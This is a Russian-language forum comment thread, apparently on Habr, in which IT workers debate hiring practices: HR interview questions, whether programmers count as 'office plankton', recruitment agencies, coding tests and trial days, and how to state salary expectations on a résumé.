добираюсь 40 мин электричка, Это не Мск область, с переполненными электричками, есть время почитать… и там от станции до офиса еще 40 мин. Не на много больше чем от дома (где-то час)

есть интернет, телевидение и моб. тлфон, туалет, гор и хол вода.
живи и радуйся :)
akalend
Абсолютно согласен с вашим утверждением, что сейчас компании конкурируют за специалиста, а не наоборот. Да, именно такая ситуация сейчас на рынке труда в IT. Давно это понял по опыту найма сотрудников. Действительно, очень глупо задавать вопросы типа «Почему вы хотите работать именно у нас?».
anmi
В 90% случаев эти ответы будут отрицательными — про компанию вашу соискатель почти ничего не знает, про проекты — тем более, и друзья там скорее всего не работают. И что ему отвечать?
akalend
А в третьем случае человек лукавит, разве нет? Либо там опять таки большая зарплата или интересные проекты, а эта фраза лишь скрывает истинный смысл.
anmi
А, ну конечно, этот вопрос действует на человека как сыворотка правды и он тут же выдает свою настоящую мотивацию!
Все же понимают, что если человек сказал «интересные проекты нравятся», то он ни в коем случе не уйдет, если ему у соседей накинут денег. А если хочет в Васей, Петей и Машей работать, то готов за копейки педалить унылый проект.
Ну, не помещается больше одной мотивации в голове у HR, памяти не хватает, восьмибитные оне.
akalend
HR detected.
anmi
Нет-нет. Я не HR.

Супруга работает в блоке HR в компании численностью 2к+. Занимается созданием и продвижением имиджа компании, как одного из лучших работодателей на территории Республики Беларусь.

xtile
EPAM?
akalend
Мне кажется или последний абзац выделяет программистов в какую-то элиту трудового народа? Не вижу оснований, профессия как профессия, не лучше и не хуже других.
Valeratal
главное быть Программистом, а не стать планктоном
akalend
Не хочу вас расстраивать, но не вижу, как одно может исключать другое.
Valeratal
зависит от места работы и твоей квалификации,
я был и программистским планктоном и Программистом…
и могу снова попасть в планктон.

кто-то там выше говорил про топовые компании…
так вон там — точно станешь планктоном.
akalend
Зависит от того что вы понимаете под «планктоном»
Valeratal
ответил чуть ниже
akalend
Все зависит от границ термина «планктон». Можно считать планктоном сугубо нелюбимых программистами менеджеров, финансистов и бухгалтеров. А можно включить в это емкое определение вообще всех офисных работников, не задействованных в реальном секторе экономики и не имеющих отношения к производству какого-либо реального продукта, нужного обществу. Тогда обидится много людей, которые любят употреблять слово «планктон».
ncix
Естественно, любая планктонина себя таковой не считает. Но если абстрагироваться от негативного смысла, это просто офисный работник нижнего и среднего звена, просиживающий штаны перед компьютером или в переговорках. Как я, или вы, или вон тот парень в бороде и свитере.
Aisu_Kuge
Так по вашему определению получается, что инженер — проектировщик или инженер — конструктор это тоже планктон, а это не так далеко
ncix
А что такое «планктон»?
blare
Мне тоже этот вопрос интересен. Но не уверен, что разработчика ПО можно к планктону отнести по разным причинам
terrier
А почему вам этот вопрос интересен? Если завтра выяснится, что программисты — это планктон, вы сразу перестанете любить программирование или там, я не знаю, себя уважать? :)
ncix
Нет конечно, я не считаю, повторюсь, программистов (ну большую их часть) планктоном. Часто слышу этот термин и конечно, интересно, кого так именуют. Но, если вдруг начнут так величать разработчиков, то, конечно, не брошу заниматься эти делом
Aisu_Kuge
Да признаться не проблема — по формальным признакам, описанным тут уже я и есть планктон) Во-первых возникает вопрос — куда «выше» — на завод? Или в верхние слои планктона? Во-вторых — мне нравится то, чем я занимаюсь, пусть это называют как угодно и менять из-а этого сферу деятельности я не хочу))
relgames
Тут, скорее, имелось в виду зарабатывать деньги руками других людей.
Aisu_Kuge
А разве часть «планктона» этим не занимается?
KarasikovSergey
Ну так они тоже являются всего лишь зарабатывающими руками для кого-то.
akalend
Зоопланктон тоже питается фитопланктоном или себе подобными.
ncix
Вспомнил старую песню:«Тебе повезло! Ты работаешь в офисе!»
akalend
«Планктон» потому так и зовется, что его много как планктона в море и один от другого не отличим со стороны. Просто масса. Люди мигрирующиедвижущиеся на работу/с работы в час пик (собственно его и создающие) для наблюдателя со стороны отождествляются с такой массой.

Офисный планктон — это также масса, только не на заводе/фабрике, а в офисных центрах.

И нечего в этом страшного нет. Это норма. В нее не входят либо очень успешные, либо падшие. Такова реальность.
ncix
Спасибо вам, хорошее определение. В умах людей это понятие сильно различается от степени эгоцентричности каждого человека. Не каждый имеет смелость признать себя неотличимым со стороны от других.
akalend
под «планктоном» — понимается человек-должность, которую очень легко заменить.
Если почитать «Правила разработки программного обеспечения» www.ozon.ru/context/detail/id/3163596/
то там конкретно сказано, что в системе производства ПО Не ДОЛЖНО быть НЕ ЗАМЕНЯЕМЫХ людей,
т.е. хотите создать надежный процесс производства ПО, то есть весь средний программистский состав — это потенциальный планктон.

Отсюда вывод — в больших компаниях стремись занять более высокую позицию, чтоб выжить в системе конкуренции, как со стороны сотрудников, метящих на эту должность, так и со стороны конкуренции компании на рынке (проекты могут стать не нужными и всех в любой момент могут попросить за забор)
KarasikovSergey
По первой части вашего ответа: заменить можно любого, но никто не меняет коней на переправе, хирурга во время операции, программиста в ходе проекта, актера во время представления и бухгалтера во время квартального отчета или менеджера во время многоходовой большой сделки.

По второй части интереснее: есть такое наблюдение, что многие технари-ITшники люди асоциальные, не имеют лидерских навыков и обладают низкой стрессоустойчивостью, так вот таким кадрам, увы, вход в руководящие должности заказан. Я вообще против того, чтобы руководством занимался человек, не имеющий навыков и способностей к управлению коллективом. Иными словами как бы вы ни хотели — вы не займете более высокую должность не обладая нужными качествами, какой бы вы золотой программист ни были. Иначе получается такая ситуация, программист-начальник включает режим «вот вам задание, не мешайте мне работать, на дедлайне проверю», что конечно же не является образцовым руководством. Зато у талантливого исполнителя всегда есть простор для горизонтальной мобильности, где грамотно маневрируя можно в рамках тех же должностных обязанностей добиться лучших условий и оплаты, чем ИТ-руководство в фирмах начала карьеры. Так что каждому свое — если есть навыки и амбиции, то займешь место повыше, если нет — прыгай по компаниям, улучшая свое положение в рамках должности.
ncix
согл, В соответствии с Принципом Питера, каждый достигает своего уровня некомпетенции.
т.е. кто-то уходит в архитекторы, а кто-то в начальники, а кто-то в более продвинутые специалисты.

Я, очевидно, пошел в отца… У меня отец отслужил в военном НИИ, и вместо должности начлаба, с перспективой получить полковника, остался СНСом ( старшим научным сотрудником).
так вот и я — как-то не особо стремлюсь стать начальником :)
xaoc80
И кстати, по принципу Питера многие умные люди специально мешают своему повышению, когда понимают что грань будет пройдена. После начлаба стать СНСом может не получиться- растеряется практический опыт, да и начальство не поймет:)

Поздравляю Вашего отца с верным выбором!)
ncix
Не лучше и не хуже, но программистов сильно не хватает — отсюда такое отношение.
xaoc80
Ну знаете ли, токарей, слесарей и фрезеровщиков нынче не хватает куда острее, чем программистов. А так же честных полицейских, талантливых врачей и искренне любящих детей педагогов.
degorov
Так толковые токари на станках с ЧПУ и получают не меньше программистов. А умение работать на ЧПУ по сути есть та же задача саморазвития, которая для программиста обязательна и никого не удивляет.
xaoc80
Речь о том, что по сути программист в реестре профессий вообще никак не отрывается от любой другой занятости. Любое дело требует усилий и прилежания, а так же самосовершенствования и ответственности. Где-то есть риск для жизни, где-то ответственность за чужую жизнь. Статья пропитана элитарным снобизмом, на мой взгляд не имеющим под собой никаких оснований.
ncix
Ну это вы просто не сталкивались с элитарным снобизмом (это вы его так называете — я так не считаю) со стороны тех же токарей. У них там вообще супер-элитарный закрытый клуб, куда порог вхождения де-факто намного выше, чем у среднего программиста :)

Я не вижу в профессиональной гордости ничего плохого, в профсоюзах и прочих объединениях тоже. Как по мне статье до элитарной надменности очень далеко.
xaoc80
Последний абзац никак нельзя назвать «профессиональной гордостью» при общем смысле «мы, программисты, можем требовать потому, что остальные дураки, а мы умные и работящие».
degorov
Ну, может быть, немного есть, ок :)
xaoc80
Менеджер по продажам — еще больше, но программисты при этом не считают менеджеров людьми более высокого класса, не правда ли? Программист сам по себе никаких денег не приносит, он лишь с различной степенью вовлеченности участвует в их добыче. То, что у нас представители рабочих и жизненно необходимых профессий задвинуты в самый низ пищевой цепочки в угоду круговорота цветной бумаги вовсе делает их труд менее важным для социума в целом, когда чистые улицы, своевременный вывоз мусора, безопасность и полноценное медицинское сопровождение куда важнее обывателю, чем котировки на биржах.
degorov
Хороших менеджеров по продажам мало, и они тоже имеют высокую оплату.
Вообще, рынок труда — это именно рынок. Если труд рабочего ценится ниже, чем труд программиста — значит, так сложилось в силу ряда факторов. Возможно, порог вхождения ниже, или слишком высокая зарплата рабочего — не окупается.
ncix
Рынок — замечательное и емкое слово, описывающее этот балаган. Вот уж действительно — лучше торгует на рынке тот, кто громче орет, а не у кого товар лучше. Собственно имеем то, что имеем — рынок довел решительно все страны мира до долгов и превратил финансовую систему в деньги, производящие деньги.
Simplevolk
Хороший программист не принесет денег компании если ему хорошо не объяснят что нужно делать, и не угадают, что на этом можно заработать (или сэкономить).
tepexob
То же самое верно для любой отрасли. Хороший <механик, сантехник, фрезеровщик> не принесет денег, если его начальник будет использовать его труд не по назначению.
ncix
Поддерживаю! Так же з.п. считаю особо не выделяются, среди «офисных».
akalend
Просто интересно, меня одного коробит от словосочетания «Симпотные девушки» (почему-то всплывает ассоциация с пОтом)? А статья интересная, да
KarasikovSergey
Как человек, который сам занимался приемом на работу (оговорюсь в Германии и Нидерландах) несколько удивлён подходом когда вроде как за разработчиками. В нормальной ситуации за разработчиками охотятся кадровые агенства, а вот компании интересно что бы были заинтересованы именно в ней. И многоуровневые собеседования с письменными экзаменами и пробными днями — то же норма.
akalend
Один раз связался с кадровым агентством на свою голову. В итоге узнал куда я иду на собеседование только в день собеседования и в той компании меня-таки спросили — почему я хочу работать именно в их компании?
Simplevolk
Прикольно было бы ответить «потому что мне рекомендовало вас кадровое агентство».
Mephi1984
Примерно такой и был ответ. Техдир просто посмеялся, а девочка-HR сказала, что она обязана задать такой вопрос
KarasikovSergey
Не знаю, как у вас в Нидерландах, но в этой стране кадровые агенства еще не достаточно хорошо работают, чтобы принести какую-то пользу в найме IT-специалистов. Всё дело в том что они не понимают и не хотят понимать хотя бы на простейшем уровне стек технологий и знаний, требуемых компании и предоставляемых специалистом. Перепутать Java и JavaScript это еще цветочки.
degorov
Поэтому кадровые агенты как раз и должны разбираться в том что они «продают», иначе программист для них тот же товар что и помидоры
KarasikovSergey
Ну что значит «должны». Если они этого до сих пор не умеют, значит и острой необходимости еще нет. Как только рынок потребует, научатся в миг. Или уступят место более компетентным. Этот процесс уже пошел.
degorov
Вы ни разу не встречали продавцов, которые не разбираются в том товаре, который они продают?
KarasikovSergey
Слышал, что вроде когда-то существовали ещё агентства по трудоустройству, которые брали деньги не с работодателя, а с соискателя, в отличие от кадровых агентств…
degorov
А что, я бы хорошо заплатил, если бы меня трудоустроили по всем моим требованиям. Естественно, деньги только за успех.
Mephi1984
Да даже просто бы подготовили нормально к поиску работы. Объективно оценили бы квалификацию, помогли бы сочинить резюме, научили бы как не трястись от волнения на с обесдованиях и т. п.
KarasikovSergey
Да, думаю такая услуга тоже востребована на рынке. Но я бы предпочел платить за конкретный результат
Mephi1984
Чтобы не трястись на интервью, нужно не идти сразу в тут самую желанную компанию (или должность), а побеседовать с другими.
Тут и страх пройдет, для программиста, например, язык развяжется (т.к. он как правило деревенеет при длительном общении исключительно с кодом) и актуальное понимание всего и вся возникнет.

Это секрет и увлекаться этим не стоит, поскольку такие действия могут привести уменьшению средней результативности HR-специалистов, привести в дестаблизации на рынке труда, падению конкурентноспособности отечественных компаний на мировом рынке и глобальному экономическому кризису.
KarasikovSergey
Они и сейчас, по-моему, существуют. И как написали раньше, в том числе и помогают оценить квалификацию, составить резюме и так далее (ну, по крайней мере, на словах:)). Другой вопрос, что в IT-сфере сейчас рынок соискателя, а не работодателя, так что в этой области такие агентства не актуальны.
ncix
Зависит от роли. Мы вот с трудом за 4 месяца смогли в Амстердаме найти 2 Senior Developer-а. За это время я провел, ну не знаю, 20-30 интервью, ужас-ужас.
Mephi1984
найти 2х Senior в западной всё же легче чем в районе Барнефельда или Кёльна. но 20–30 интервью, это конечно перебор.
Хотя смотря какие требования к опыту и зарплате :)
Graid
Ну 30 это я сгоряча, скорее все же чуть меньше 20. Половина — индусы, ну тут все ясно становилось после первых 5 минут. У нас первое интервью — по телефону, нужно онлайн писать код, задания весьма простые, типа найти сумму элементов массива. Индусов 100% отсеялось на этом этапе, остальных где-то половина прошла. Возможно, это говорит об низком уровне работы HR — они у нас в штатах все сидят.
Ad3pt
Индусы — специфика IT Северной и Южной Голландии. Столкнулся с пакистанцами в Германии — почти то же самое.
Что нам помогло в отборе, так это письменный тест на знание и понимание общих IT вопросов, SQL и С# (наше платформа разработки)
Тест пишется в офисе в течении часа под присмотром, что бы в Inet не полезли. Могу поделиться, если интересно
Dworkin
Ну у нас в принципе есть рабочий тест, 2-3 задания на написание кода прямо в онлайн по телефону плюс теория. С инетом так решили — если кандидат может за пару секунд найти ответ, то это хороший кандидат. Плохим кандидатам инет не помог ни разу. Делали на основе вот этого www.codinghorror.com/blog/2008/01/getting-the-interview-phone-screen-right.html

Поделитесь, интересно глянуть.
Nartis
Спасибо за ссылку

Вот наши документы, ссылки на dropbox
IT Recruitment Questionnaire
IT Recruitment Questionnaire Answers
Flammar
Примерно похоже. Правда, я стараюсь теоретические вопросы уточнять — индусы тарабанят как по бумажке что такое наследование или инкапсуляция, но если спросить, для чего это нужно, попросить привести пример — теряются. Например, все могут ответить, что такое инкапсуляция, но не все — зачем, в каких случаях их использовать, какие проблемы с помощью инкапсуляции решаются. Самый «любимый» ответ — ну так предписано ООП.

Nartis
Слишком длинный тест. Если человек отвечает на что-то сложное — наверняка он знает и ответы на более легкие вопросы.

Мы сейчас упростили тест (раньше было достаточно длинно), в итоге получилось 2 варианта — для программистов 10 вопросов (большая часть — выбрать правильный вариант из 4х), по которым и беседуем на собеседовании. Для математиков — всего 4 вопроса на 1 страничку.
Код писать вообще не просим, если нужно описать алгоритм — можно это делать любым образом.
В итоге по специфике работы ориентировались на то, что если человек знает то, что нам нужно — он с большой вероятностью сталкивался с вопросами, задаваемыми в тесте.
ncix
если честно, то у нас никто полностью не ответил на все вопросы. Об этом я честно предупреждаю перед тестированием

Мы оцениваем в каком разделе больше всего ответов и стиль ответов
Dworkin
Идея понятна. У нас несколько другой подход, я когда составлял задачи — делал акцент кроме прочего на то, чтобы одна задача покрывала достаточно большой спектр знаний, но при этом была не сильно «синтетической». Чтобы можно было оценить как человек ищет решение. Обычно задачи можно решить несколькими способами.
ncix
Один комментарий к тесту — если кандидат прошел собеседование и прилично написал тест, следующий шаг для него — trial day (тестовый день), где он в паре с одним из ведущих разработчиков должен показать свои способность решить новые для него прикладные задачи. Обычно берется более или менее общая задача, которая в этот момент решается коммандой
Flammar
Агентства для вас просто были фильтром. К тому же они как церберы и к вам попадали только подходящие люди. На самом же деле всё примерно так же в Западной Европе.

С агентствами есть новый риск. Они заинтересованы построить отношения с программистом за вашей спиной, чтобы его всегда можно было устроить потом ещё кому-нибудь на работу и заработать на нём ещё раз. Или два.
Flammar
Да, они были фильтром, и это как раз то за что им платят с каждого принятого на работу. Причем не малые деньги

Не согласен с риском, что агенство будет переманивать. По крайней мере с агентствами, с которыми у наших HR офисов есть контракт, прописана неустойка на случай, если разработчик уходит по собственной воле в течении 6 или 12 месяцев.
ncix
Всё верно, агент эти 6 или 12 месяцев строит отношения с программистом, а потом находит ему новую вакансию.
VolCh
Ну вроде как работодатель то же строит отношения с разработчиком в течении этого года… и если разработчик ищет только зарплату, то флаг ему в руки.
Были у меня ситуации что разработчик пропадал, получив новенький лэптоп а потом всплывал в Англии, но при этом агенство ни цента за него не получило.
А так, переманивания агентством что то не припомню…
ncix
Строит, спору нет. Но в итоге получится ситуация, когда человек придёт и скажет, что ему предложили на 10 тысяч больше в другом месте, и он хочет уйти, если вы ему не подымите ставку.
tepexob
Может сказывается особенность наших проектов, они все очень долгосрочные и объёмные. Человек начинает серьёзно понимать бизнес логику только месяца через два.

Всегда есть шанс что где то предложат выше зарплату, ну тогда и не жалко что человек ушел, если зарплата важнее интересного проекта. Так где то и произошло в одном из наших центров разработки. Зато в другом набрали команду и пока вижу только заинтересованность. Теперь пинаем бизнес аналитиков, что они не успевают со спецификациями.

А для финансовой мотивации зарплата разбита на основную и некий бонус, который привязан к конкретным задачам. Не смог/не захотел делать — 100% бонуса не получишь
Derryk
Когда вы набираете мой номер, вы должны понимать, что сумма, указанная в резюме — это не предел моих мечтаний, это минимальный порог, при котором я соглашусь работать у вас.

А зачем же вы пишете минимальную зарплату? Пишите сразу среднюю.

Ну и вообще да, грамотный наемщик обычно интересует минимальным порогом и комфортным порогом.
relgames
Где то около 20% девочек HR с которыми приходилось общаться — общались в основном уничижительно, а некоторые с нескрываемым пренебрежительно-презрительным тоном. При чем когда спрашивали об опыте работы переспрашивали тоном «а вы сами верите в то что говорите?». А когда спрашивали про прописку и говорил что я с Кабардино-Балкарии — где то половина отвечали «а это в какой стране?» или «это в России?» или есть ли у меня гражданство в РФ. Одна даже открыто спросила — действительно ли я что то умею или решил на «авось» попробовать устроиться? И т.д. в этом духе. Создается ощущение что некоторые HR зовут на собеседование для того что бы самоутвердиться и при этом думаешь то ли этот сотрудник так со всеми общается, то ли смотрит на мое ФИО и небольшой кавказский акцент и в любом случае чувствуешь себя очень неуютно и все о чем думаешь о том что бы как можно быстрее, вежливее и тактичнее завершить собеседование и уйти поскорее.

При чем среди коллег технарей такого отношения не встречал почти никогда (кроме одного раза при прохождении собеседования в одном крупном российском интернет-магазине).
Dworkin
А вы скидывайте переписку их начальству. Можно со ссылкой на свое резюме.
relgames
Я конечно разных hr-ов видел, и в адекватности некоторых из них у меня были серьезные сомнения, однако ни разу не сталкивался с темой «прописки». В других отраслях повсеместно, но уж в айти таких дискриминаций на порядок два меньше
Dworkin
А почему вы сами не выбирали 2-3 компании в которых вы бы хотели работать и не отправили туда резюме?
relgames
Далеко не все компании публичны. Я когда на собеседование на текущую работу пришёл — первая реакция была «завод, да ну нафиг надо». А потом оказалось, что здесь полно весьма интересных задач для программиста, но я никогда бы об этом не узнал, не придя на собеседование.
Dworkin
Ок, смысл есть. Спасибо за ответ!
relgames
Согласен с автором статьи на все 100, но увы не столь разделяю Вашего оптимизма, по крайней мере в регионах, хотя в неИТ компаниях в т.ч. и в столицах такое встречается(судя по откликам на резюме).

Несмотря на работу в сфере финансов, когда стараешься всячески избегать упоминание названия места работы дабы на тебя не смотрели как на зажравшегося буржуя ибо стереотипы в обществе все еще во главе угла, мало кто при этом знает, что в неИТ сферах отношение и ИТ-персоналу как к нахлебникам потребителям ибо в глазах рук-ва они вечно просят то зп на полкопейки выше(ведь она на уровне средней по региону… была год-2 назад, а это чаще всего менее килобакса), то сервера новые купить(ведь купили же уже 10 лет назад и норм), то администраторы наглеют требуя денег на лицензионный софт на сервера и десктопы — сплошные издержки! Поддержание ИТ-инфраструктуры в рабочем состоянии за труд редко кто воспринимает вообще ибо как за вратарем запоминаются только пропуски.

Вот совсем иное дело менеджеры(в т.ч. по продажам), они и клиентов новых приводят и прибыль привлекают для организации вот им можно и оклад поднять и премию добавить в % наработки за труды. А по сути что они делают? перепродают результаты ЧУЖОГО труда, а не своего собственного. Самое боле-менее справедливое отношение к работе в ИТ-аутсорсе, там хоть как-то прибыль зависит от затраченных усилий и кол-ва решенных / внедренных ИТ-решений у клиентов.

Еще следует отметить(как уже писали выше), что сейчас востребованы ИТ-таджики. 90% кто звонил по резюме из разных городов — это натянуть чью-то купленную CMS на их корп сайт и тем самым оправдать немалую сумму затраченную на ее покупку, чаще всего бесполезную. Когда во главу угла ставится вопрос о знании этой самой CMS(или фреймворка коих немало), а не опыт работы или аналитические умения и уж тем более не попытки снизить издержки компании ибо хоть на словах все и прибедняются, но это не мешает покупать за лямы готовые cms под корпоративные сайты визитки.

В итоге спрос породил предложения, и надо сказать за профессию в последнее время становится стыдно… код пишется левой ногой, ибо как писали уже на хабре писать дерьмовый код более экономически выгодно, т.к. фиксить его уже можно за доплату. Протоколированием и написанием кода «защиты от дурака» вообще мало кто увлекается и т.д. и т.п., ну не требуется профессионализм нынешним работодателям, все равно же будут воспринимать офисным планктоном хоть старайся хоть нет — вот и рез-тат.

PS Увлекся, понимаю, отчасти наболело, но те кто начали программить еще на ZX Spectrum более 15 лет назад и кому знакома проблема как уместить свой код на asm в 256 байт буфера меня поймут.
VenomBlood
Те проблемы что вы описали характерны для компаний, где IT является вспомогательным хозяйственным подразделением. Если говорить о компаниях, занимающихся разработкой на заказ, то там ситуация несколько иная. Если речь о разработчиках тиражируемого софта — тут все совсем по-другому. Но и требования выше.
Dworkin
Согласен, поэтому в 1й же строке есть оговорка — неИТ компаний.
А вот софт на заказ писать, опять же косячить выгодно лишние трудочасы, дополнительные пакеты обновлений и т.п.
В итоге даже рук-ву компании такой косячник выгоднее, так как позволяет больше состричь с клиента(в разумных пределах разумеется дабы имидж в 0 не уронить).
VenomBlood
А вот софт на заказ писать, опять же косячить выгодно лишние трудочасы, дополнительные пакеты обновлений и т.п.
Такая стратегия работает не долго. Клиенты не идиоты. Разве что под госзаказ ;)
Dworkin
«Клиенты не идиоты»… вот даже и не знаю что именно ответить… правду сказать или замнем для ясности?
Госзаказ -тоже клиенты в которых как не странно и ит-спецы имеются и немало. Хотя ради справедливости следует добавить, что чаще они просто не разбираются в ит-сфере вообще поэтому пользуются услугами тех, кого посоветовали знакомые, а уж какой интерес у знакомых это вопрос)
valiorik
«Клиенты не идиоты»… вот даже и не знаю что именно ответить… правду сказать или замнем для ясности?
Ну расскажите какую-нибудь байку из жизни, правда интересно.

Я в тиражируемом софте всю жизнь работаю. И если тут за свои 100-500 баксов конечный клиент готов с тебя сдирать кожу живьем по телефону, если что не так, то что творится в заказном софте где ценники на пару порядков больше?
Dworkin
Рассказывать байки — это к менеджменту, сам не обучен басни писать. А как есть рассказать тоже нельзя ибо комм.(и не только)тайна.
Клиент всегда шкуру сдирает для проформы, на рынке же тоже торгуются и осуждают качество продукта пытаясь сбить цену.
При этом увы работает тоже правило что и в учебе — сделай хотя бы 1 явный небольшой косяк, тогда другие искать и не будет никто, а переписывать все равно заставят в первый раз.
valiorik
Хотел написать «аналогично», но решил на личности не переходить. Зато свое(свой) труд.
Dworkin
Я не вкладывал в слово «байки» негативный смысл, если вы об этом.
valiorik
>>Такая стратегия работает не долго.
1C смотрит на вас с недоумением))
Dworkin
Отличная статья.
Действительно, очень часто бегая по собеседованиям натыкался на подобные случаи. Особенно «весело» когда они сами не знают какую зарплату предложить, хотя у них уже работают программисты по тому же профилю. Так же напрягают у многих тестовые периоды, которые могут длиться 2-3 месяца.

В 50% компаний, куда я приходил, начинали собеседовать совершенно не по теме. Например узнал несколько раз что им нужен именно сеньор девлопер на PHP с использованием Zend. Так нет, попутно они начали собеседовать по Java, оказывается, что им нужен именно разработчик на Zend но со знаниями Java (не Javasctipt), на то, что надо было ещё администрироваь linux сервера и писать серверные скрипты на питоне, я вобще немного офигел.

Бали так же и довольно интересные встречи, например: когда позвали программистом, указали точную зарплату (вполне приличную), но мне не очень понравился коллектив, они стали меня заманивать на должность iOS разработчика, долго отмазывался что я вобще не работал с этой технологией, даже обещали научить и предоставить устройства необходимые :)
andreycha
— Повезло тебе, ты программист. Кстати, пошли поможешь мне принтер настроить.
Atreides07
Раньше была микроволновка… прогресс!
stardust_kid
Раньше когда админом работал, сказали идти чинить эспрессо кофе машину O_o, которая стоила как моих 3-4 зарплаты, на резонный мой вопрос — а с фиглаи? Ответили как обычно — Ты же программист :)
mekegi
Насчет выдачи ТЗ «на дом» — это крайне сомнительное занятие для работодателя. Потому как сиди потом — гадай, что он делал сам, а что ему помогли, и насколько хорошо его проинструктировали о возможных вопросах.

Потому я на собеседованиях последние годы всегда даю задачу на 10 минут, которую решить нужно на компьютере прямо во время интервью. И очень часто приходилось встречать людей, которые знают теорию, имеют в резюме на бумаге много лет опыта работы — а на практике 2 строчки кода не могут написать.
kovshenin
А какие задачи? Конкретно по специализации? Или на общие ИТ-знания?
degorov
А я не люблю на чужих компах работать (и значительный процент знакомых). То есть задание на вашем компе это -80% к производительности. Следовательно, риск упустить хорошего разработчика. Советую вам просить соискателей приходить с ноутом.
kovshenin
В 95% случаев первое собеседование удаленное, скайп + etherpad.mozilla.org/ для того, чтобы видеть кто что пишет.
Т.е. условия максимально комфортные.
SSar
Прикольная штука. Туда б еще подсветку кода.
ncix
С подсветкой кода: collabedit.com
SSar
Тут даже не вопрос любви, а просто другое окружение, к которому привыкать надо.
ncix
Тестовое задание весьма полезная штука. Важен не результат, а подход, который применял соискатель. И на собеседовании нужно не смотреть, работает или нет, а спрашивать по каждому решению, почему именно так сделано, а не иначе, и как можно было бы сделать по-другому (быстрее, экономичнее, дешевле по времени, безопаснее, и т.д).
SSar
Я это делаю по телефону, есть куча бесплатных сайтов с Etherpad.
ncix
Если дать ДЗ перед интервью, то это неплохая тема для обсуждения. Обсуждая реализацию кандидата, вполне можно составить представление сам ли он ее делал.
SSar
Мы тут говорим о сложившейся конъюнктуре рынка труда в IT-сфере склоняющей чашу весов в сторону работников. Тем не менее это далеко не предел.
Как есть: Как сделать так, чтобы твое Резюме заметил работодатель? — Укажи желаемую ЗП!

Как должно быть: Как сделать так, чтобы вашу Вакансию заметили соискатели? — Укажи вилку ЗП!
Это утверждение, конечно, спорное, но…

Я IT-специалист. Я всецело отдаю себя работе и мне некогда заниматься изучением рынка. Но вдруг так случается порой, что появляется непреодолимая необходимость сменить работу. Есть ли вакансии? Полно! Сколько предлагают? Не понятно, поскольку вилка практически нигде не указана.

Чтобы мое резюме заметили я могу указать желаемую ЗП. Это очень облегчает жизнь HR-ов, труд которых тоже не халява. Но облегчает ли на самом деле? Если это не та компания, в которую я ну очень хочу попасть (кстати, получается, что в этом случае мотивация довольно сложная), то мое резюме уже с ЗП также видят все другие равные среди равных компаний.

И, да, как заметил автор, указанный в резюме минимально приемлемый уровень материальной компенсации, впоследствии по другую сторону прилавка воспринимается как оптимальный или даже предел мечтаний. Но я тут не об этом.

Размер материальной компенсации за мой труд, как ни крути, стоит для меня, мягко говоря, далеко не на последнем месте. Не будь это так, я, будучи увлеченным своей профессией, занимался бы своими проектами.

Тем не менее, искать и стремиться в более высокодоходные сферы бизнеса меня не прельщает – мне нравится заниматься тем, чем я занимаюсь уже давно.

Так вот, рынок предложения работы я особо не изучаю, поскольку не до этого, да и возможностей не много. Гораздо больше возможностей понимать рынок у профессионалов – HR-специалистов. И при этом так мало компаний указывают вилку.

Конечно, далеко не каждая компания способна предложить весьма конкурентоспособную ЗП соискателю, возможно компания переживает этап становления, кризис или еще что. Но размещать вакансию без вилки — это как рыбу ловить, а друг повезет и появится супер-спец, готовый работать не чисто ради денег, а ради… хз, ради чего.

Но не разочаруется ли такой спец. в своем выборе через некоторое время? – а ведь это может вылиться в какие-никакие, а проблемы для не особо крупного бизнеса IT-бизнеса.

А может быть опционы? Или честный процент от прибыли? Ах да, программист же никак не мотивируется деньгами, ведь для трушного программиста главное в жизни покушать и «писать код б...».

HR: -Вы не указали в своем резюме желаемую ЗП. Так сколько вы хотел бы получать?
Спец: — А сколько Вы могли бы мне предложить с учетом бекграунда, опыта, наработок...?
HR: -… у нас не принято так…

Специалистов, конечно, не хватает, но пока еще не настолько, чтобы работодатели начали играть в открытую.
ncix
> Как сделать так, чтобы твое Резюме заметил работодатель? — Укажи желаемую ЗП!
Да, всё правильно.
При поиске сотрудников всегда ставлю галочку «только с указанием з/п».
Некий парадокс заключается в том, что часто только по зарплате можно отфильтровать людей по опыту (на этапе до собеседования).

Грубо говоря,
40 — уверенный стажёр,
60 — середнячок,
100 — хороший специалист.

Но при этом в резюме у всех трёх может быть написано одно и то же: «PHP с ООП и MVC, MySQL/PgSQL, Javascript, [название пары популярных фреймворков]»
SSar
градация зп — примерно совпадает с моей градацией. Но, сейчас запросто встретить «стажеров» претендующих на зп «среднего». Хотя в резюме, да, может быть написано ого-го :)
ncix
Я вот считаю себя середнячком и указываю зарплату в 40, чтобы больше выбор был.
Flyd
скорее исключение :)
ZoRgSoft
Зря вы так делаете. Может быть обратная реакция.
Прижимистые люди может и заинтересуются, ну а те кто в теме подумают «если в среднем хороший спец стоит 100, а этот 40 то значит что то с ним не так». А многие из адекватных работодателей могут вообще не увидеть вашего резюме, ибо дабы не листать списки студентов они выставят фильтр с нижней планкой которая будет выше чем ваша «желаемая зп».
Завышать не стоит, но и принижать тоже.
Stdit
Возможно. Сегодня вот обращений не было, буду поднимать потихоньку. С другой стороны, что со мной не так и из резюме видно.
SSar
Интересно после этого коммента сколько уже чел решили оценить в своих резюме себя в 100к+
Хотя по мне это показатель и уверенности/наглости кандидата, особенно учитывая что от региона зп крайне зависит и невозможно предугадать откуда именно придет предложение. В большей части регионов и 40 не укажешь ибо это зп начальников подразделений ИТ. В итоге работодатели разных регионов посмотрят на эту желаемую зп с разных сторон, кто-то подумает что продешевил, а кто-то и что переоценил.
ZoRgSoft
Я согласен с Вами, так искать проще.
Но это означает, что для Вас (компании) найти специалиста не большая проблема. В противном случае смотрели бы всех, а не легкодоступных. Сейчас уже многие компании хантят людей, например, через соц. сети (хоть и специализированные). Я как и многие другие с каждым днем все чаще получают заманчивые предложения, даже если у меня нет резюме и работу я не ищу.

И опять таки, эти самые люди, которые указали свои пожелания, они видны и другим таким же как и Вы — HR-специалистам. И заметно выше вероятность того, что такого человека возьмут на работу, даже если его соотношение пожеланий и компетенций несколько выше рынка. Не может ли это быть легким сыром из мышеловки (по крайней мере для бизнса-компании)?

Я только ЗА, чтобы указывать желаемый минимум ЗП в резюме, но:

1) Только если компании будут играть в открытую и также указывать вилку. Для этого, конечно, нужно еще и индексировать ЗП имеющихся сотрудников. Товарищ, будучи тим-лидом недавно собеседовал соскателя в свое подчинение, и в ходе выяснилось, что требования у соискателя заметно выше, чем получает сегодня товарищ. И на это дало добро руководство, но в тихую — молчит, значит его все устраивает. Товарищ начал серьезно задумываться как сменить нерадивых работодателей и скорее всего это произойдет внезапно для той стороны прилавка. А стоит ли оно того?
